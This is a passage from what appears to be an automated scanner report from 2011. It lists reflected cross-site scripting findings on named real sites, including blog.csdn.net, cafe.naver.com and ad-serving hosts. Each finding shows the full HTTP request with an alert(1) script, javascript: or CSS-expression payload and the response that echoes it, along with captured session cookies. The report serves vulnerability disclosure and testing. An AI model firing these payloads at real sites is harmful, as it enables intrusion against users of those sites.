Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 356
Content-Type: text/html

<A HREF="http://b3.mookie1.com/RealMedia/ads/click_lx.ads/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/770431857/x901a209"><script>alert(1)</script>60585c96bd7/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top">
...[SNIP]...

1.82. http://blog.csdn.net/jiji262/archive/2007/07/28/1713771.aspx [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://blog.csdn.net
Path:	/jiji262/archive/2007/07/28/1713771.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 3541f'style%3d'x%3aexpression(alert(1))'7b381ee316b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3541f'style='x:expression(alert(1))'7b381ee316b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /jiji262/archive/2007/07/28/1713771.aspx?3541f'style%3d'x%3aexpression(alert(1))'7b381ee316b=1 HTTP/1.1
Host: blog.csdn.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.68
Date: Wed, 09 Feb 2011 13:28:01 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Length: 64116

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Conten
...[SNIP]...
<a href='mailto:webmaster@csdn.net?subject=Article%20Report!!!&body=Author:jiji262%0D%0AURL:http://blog.csdn.net/ArticleContent.aspx?UserName=jiji262&Entryid=1713771&3541f'style='x:expression(alert(1))'7b381ee316b=1'>
...[SNIP]...

1.83. http://blog.csdn.net/jiji262/archive/2007/08/12/1739715.aspx [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://blog.csdn.net
Path:	/jiji262/archive/2007/08/12/1739715.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e0cf4'style%3d'x%3aexpression(alert(1))'3d59d223c0b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e0cf4'style='x:expression(alert(1))'3d59d223c0b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /jiji262/archive/2007/08/12/1739715.aspx?e0cf4'style%3d'x%3aexpression(alert(1))'3d59d223c0b=1 HTTP/1.1
Host: blog.csdn.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.68
Date: Wed, 09 Feb 2011 13:28:02 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Length: 39967

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Conten
...[SNIP]...
<a href='mailto:webmaster@csdn.net?subject=Article%20Report!!!&body=Author:jiji262%0D%0AURL:http://blog.csdn.net/ArticleContent.aspx?UserName=jiji262&Entryid=1739715&e0cf4'style='x:expression(alert(1))'3d59d223c0b=1'>
...[SNIP]...

1.84. http://cafe.naver.com/javamaker.cafe [iframe_url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cafe.naver.com
Path:	/javamaker.cafe

Issue detail

The value of the iframe_url request parameter is copied into the value of a tag attribute which can contain JavaScript. The payload javascript%3aalert(1)//7c86965c was submitted in the iframe_url parameter. This input was echoed as javascript:alert(1)//7c86965c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /javamaker.cafe?iframe_url=javascript%3aalert(1)//7c86965c HTTP/1.1
Host: cafe.naver.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:41:13 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: nci4=""; Domain=.cafe.naver.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: nci4=467490b5ace3823c638dcaddd022533d8ad426ce95d605d60ceee30193a753b655bf6bbb4d7fc8c284155c8560c647b911393403d9d1b1968261f765d5ea7791c8eef4fbdafdce808dfff2d5f5c696e3efc7e2d39aebe6c1d8e9da49; Domain=.cafe.naver.com; Path=/
Set-Cookie: ncvid=#vid#_173.193.214.243G6zj; Domain=.cafe.naver.com; Expires=Mon, 27-Feb-2079 16:55:20 GMT; Path=/
Set-Cookie: ncvc2=b8d82004506667d3fc017f46718aec96337b997d2f0f9f0ee26040912b04ed21e00cce15cdef7d5624bae03f8ecb; Domain=.cafe.naver.com; Expires=Wed, 09-Feb-2011 14:11:13 GMT; Path=/
Set-Cookie: ncvid=#vid#_173.193.214.243tQIg; Domain=.cafe.naver.com; Expires=Mon, 27-Feb-2079 16:55:20 GMT; Path=/
Set-Cookie: JSESSIONID=ADF43B6DFCF956425C622250F73D6534; Path=/
P3P: CP="ALL CURa ADMa DEVa TAIa OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC"
Vary: User-Agent,Accept-Encoding
Connection: close
Content-Type: text/html;charset=ks_c_5601-1987
Content-Length: 95808

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=KSC5601">
<title>J
...[SNIP]...
<iframe name="cafe_main" id="cafe_main" src="javascript:alert(1)//7c86965c?clubid=16593684" width="773" height="100%" frameborder="0" scrolling="no" marginwidth="0" marginheight="0" allowtransparency="true">
...[SNIP]...

1.85. http://cafe.naver.com/specialj.cafe [iframe_url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cafe.naver.com
Path:	/specialj.cafe

Issue detail

The value of the iframe_url request parameter is copied into the value of a tag attribute which can contain JavaScript. The payload javascript%3aalert(1)//112db26c was submitted in the iframe_url parameter. This input was echoed as javascript:alert(1)//112db26c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /specialj.cafe?iframe_url=javascript%3aalert(1)//112db26c HTTP/1.1
Host: cafe.naver.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:41:08 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: nci4=""; Domain=.cafe.naver.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: nci4=2412f2dacf85ec5201efa8bfb259204ceab244abf886699248bc47d9296a90567676b612b673034a20bf7748f02bd29213b783036741d3f4e003954095a44f8c949bbe99ae9e929db493a0ef9994ac8fbd948e81a087b4f8b4bb9ebe8cc3beb691b59ad5a6a988af9cad59; Domain=.cafe.naver.com; Path=/
Set-Cookie: ncvid=#vid#_173.193.214.24362Fm; Domain=.cafe.naver.com; Expires=Mon, 27-Feb-2079 16:55:15 GMT; Path=/
Set-Cookie: ncvc2=b8d82004506667d3fc017f46718aec96337b997d2f7e9b32e56040952b09ec25ec00ce15cdef7d5624bae03f8e69; Domain=.cafe.naver.com; Expires=Wed, 09-Feb-2011 14:11:08 GMT; Path=/
Set-Cookie: ncvid=#vid#_173.193.214.243C3CS; Domain=.cafe.naver.com; Expires=Mon, 27-Feb-2079 16:55:15 GMT; Path=/
Set-Cookie: JSESSIONID=5657F168F3E9FB9976315CE3CDBBB602; Path=/
P3P: CP="ALL CURa ADMa DEVa TAIa OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC"
Vary: User-Agent,Accept-Encoding
Connection: close
Content-Type: text/html;charset=ks_c_5601-1987
Content-Length: 81682

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=KSC5601">
<title>.
...[SNIP]...
<iframe name="cafe_main" id="cafe_main" src="javascript:alert(1)//112db26c?clubid=12542248" width="773" height="100%" frameborder="0" scrolling="no" marginwidth="0" marginheight="0" allowtransparency="true">
...[SNIP]...

1.86. http://d.skimresources.com/api/index.php [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d.skimresources.com
Path:	/api/index.php

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 897d0<script>alert(1)</script>ffdf231be2f was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /api/index.php?callback=skimwordsDataCallback897d0<script>alert(1)</script>ffdf231be2f&data=%7B%22page%22%3A%22http%3A%2F%2Ftechnorati.com%2F%22%7D HTTP/1.1
Host: d.skimresources.com
Proxy-Connection: keep-alive
Referer: http://technorati.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: skimGUID=6870A8E5A2DABB0C248AD2A4AAF369FF

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Wed, 09 Feb 2011 14:08:08 GMT
Server: Apache
X-Powered-By: PHP/5.3.2
Content-Length: 398
Connection: keep-alive

skimwordsDataCallback897d0<script>alert(1)</script>ffdf231be2f({"words":[],"includes":[],"excludes":[],"maxkeywords":0,"impression":1,"reindex":0,"thispage":"http:\/\/technorati.com\/","original_length":0,"useragent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-
...[SNIP]...

1.87. http://dm.de.mookie1.com/2/B3DM/2010DM/11256086249@x23 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/2010DM/11256086249@x23

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53335"><script>alert(1)</script>d5e2383b59e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM53335"><script>alert(1)</script>d5e2383b59e/2010DM/11256086249@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011Pi748U102PB|S106w2|U10C7a|U10CEj

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:23 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 334
Content-Type: text/html
Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e9045525d5f4f58455e445a4a423660;path=/

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM53335"><script>alert(1)</script>d5e2383b59e/2010DM/1132110277/x23/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><
...[SNIP]...

1.88. http://dm.de.mookie1.com/2/B3DM/2010DM/11256086249@x23 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/2010DM/11256086249@x23

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3c29"><script>alert(1)</script>92b43a2f943 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/2010DMe3c29"><script>alert(1)</script>92b43a2f943/11256086249@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011Pi748U102PB|S106w2|U10C7a|U10CEj

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:25 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 333
Content-Type: text/html
Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2045525d5f4f58455e445a4a423660;path=/

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/2010DMe3c29"><script>alert(1)</script>92b43a2f943/336196242/x23/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><I
...[SNIP]...

1.89. http://dm.de.mookie1.com/2/B3DM/2010DM/11256086249@x23 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/2010DM/11256086249@x23

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1150b"><script>alert(1)</script>a68df653d3d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/2010DM/11256086249@x231150b"><script>alert(1)</script>a68df653d3d?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259897490@x90
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011Pi748U102PB|S106w2|U10C7a|U10CEj

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:59:28 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 326
Content-Type: text/html
Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5345525d5f4f58455e445a4a423660;path=/

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/2010DM/1807529050/x231150b"><script>alert(1)</script>a68df653d3d/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><
...[SNIP]...

1.90. http://dm.de.mookie1.com/2/B3DM/2010DM/11311693468@x23 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/2010DM/11311693468@x23

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68a03"><script>alert(1)</script>dd801c10d99 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM68a03"><script>alert(1)</script>dd801c10d99/2010DM/11311693468@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660; other_20110126=set; dlx_XXX=set; dlx_20100929=set; session=1297259893|1297260360

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:30:04 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 333
Content-Type: text/html

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM68a03"><script>alert(1)</script>dd801c10d99/2010DM/265696778/x23/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><I
...[SNIP]...

1.91. http://dm.de.mookie1.com/2/B3DM/2010DM/11311693468@x23 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/2010DM/11311693468@x23

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fa85"><script>alert(1)</script>e0cd33b110 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/2010DM8fa85"><script>alert(1)</script>e0cd33b110/11311693468@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660; other_20110126=set; dlx_XXX=set; dlx_20100929=set; session=1297259893|1297260360

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:30:06 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 332
Content-Type: text/html

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/2010DM8fa85"><script>alert(1)</script>e0cd33b110/245402735/x23/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><IM
...[SNIP]...

1.92. http://dm.de.mookie1.com/2/B3DM/2010DM/11311693468@x23 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/2010DM/11311693468@x23

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad727"><script>alert(1)</script>6653daacdbc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/2010DM/11311693468@x23ad727"><script>alert(1)</script>6653daacdbc?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e5045525d5f4f58455e445a4a423660; other_20110126=set; dlx_XXX=set; dlx_20100929=set; session=1297259893|1297260360

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:30:10 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 326
Content-Type: text/html

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/2010DM/2104859421/x23ad727"><script>alert(1)</script>6653daacdbc/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><
...[SNIP]...

1.93. http://dm.de.mookie1.com/2/B3DM/2010DM/11343771873@x23 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/2010DM/11343771873@x23

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a66af"><script>alert(1)</script>642529e6013 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DMa66af"><script>alert(1)</script>642529e6013/2010DM/11343771873@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; other_20110126=set; dlx_XXX=set; dlx_20100929=set; session=1297259893|1297261770; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2845525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:49:27 GMT
Server: Apache/2.0.52 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 334
Content-Type: text/html
Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09499e6c45525d5f4f58455e445a4a423660;path=/

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DMa66af"><script>alert(1)</script>642529e6013/2010DM/1169820156/x23/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><
...[SNIP]...

1.94. http://dm.de.mookie1.com/2/B3DM/2010DM/11343771873@x23 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/2010DM/11343771873@x23

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 941ca"><script>alert(1)</script>56840368bce was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2/B3DM/2010DM941ca"><script>alert(1)</script>56840368bce/11343771873@x23?USNetwork/FarmB_2011Q1_RocketF_BTRT1_728 HTTP/1.1
Host: dm.de.mookie1.com
Proxy-Connection: keep-alive
Referer: http://b3.mookie1.com/2/RocketFuelB3/FarmersBranding/2011Q1/BTRT1/728/11297259930614@x90
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW800iZiMAAocf; id=914803576615380; RMFL=011Pi745U102Og|U106t6; NXCLICK2=011Pi748NX_TRACK_Abc_Acct/Retarget_TheMiddle_Nonsecure!y!B3!2PB!3U2; RMFM=011PnAYfG102PB|E106w2|U106y5|G10C7a|G10CEj; other_20110126=set; dlx_XXX=set; dlx_20100929=set; session=1297259893|1297261770; NSC_en.ef.efm_qppm_iuuq=ffffffff09419e2845525d5f4f58455e445a4a423660

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 14:49:41 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
Content-Length: 334
Content-Type: text/html
Set-Cookie: NSC_en.ef.efm_qppm_iuuq=ffffffff09499e3645525d5f4f58455e445a4a423660;path=/

<A HREF="http://dm.de.mookie1.com/RealMedia/ads/click_lx.ads/B3DM/2010DM941ca"><script>alert(1)</script>56840368bce/1264660409/x23/default/empty.gif/72634857383030695a694d41416f6366?x" target="_top"><
...[SNIP]...

1.95. http://dm.de.mookie1.com/2/B3DM/2010DM/11343771873@x23 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dm.de.mookie1.com
Path:	/2/B3DM/2010DM/11343771873@x23

Issue detail

